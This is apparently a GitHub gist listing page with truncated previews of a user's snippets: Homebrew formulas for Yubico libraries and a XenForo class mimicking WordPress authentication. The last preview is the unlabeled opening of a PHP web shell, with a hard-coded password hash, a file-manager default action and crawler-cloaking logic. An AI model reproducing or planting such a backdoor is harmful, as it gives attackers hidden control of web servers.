Skip to content

Instantly share code, notes, and snippets.

@deekthesqueak
deekthesqueak / gist:7779154
Created December 3, 2013 22:57
yubico-c homebrew formula
require 'formula'
class YubicoC < Formula
homepage 'http://opensource.yubico.com/yubico-c'
url 'https://github.com/Yubico/yubico-c/archive/libyubikey-1.11.tar.gz'
version '1.11'
sha1 '243de4477942d317bdecac0eb2001e75635ee389'
depends_on 'automake'
depends_on 'autoconf'
require 'formula'
class Libykneomgr < Formula
homepage ''
url 'https://github.com/Yubico/libykneomgr/archive/libykneomgr-0.0.1.tar.gz'
version '0.0.1'
sha1 '8c8754fa727d2b24f38ede74cfc22983bcc02162'
depends_on 'automake'
depends_on 'autoconf'
<?php
/**
* This will mimic the the authentication scheme of WordPress. It will not create new hashes.
* I suggest that you encourage your users to change their password after import as it will switch to XenForo_Authentication_Core
*
* @license https://www.apache.org/licenses/LICENSE-2.0.html Apache License, Version 2.0
* @copyright Copyright (c) 2012, Derek Bonner
* @author Derek Bonner <derek@derekbonner.com>
*/
class TheCollectiveMind_Authentication_WordPress extends XenForo_Authentication_Abstract
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {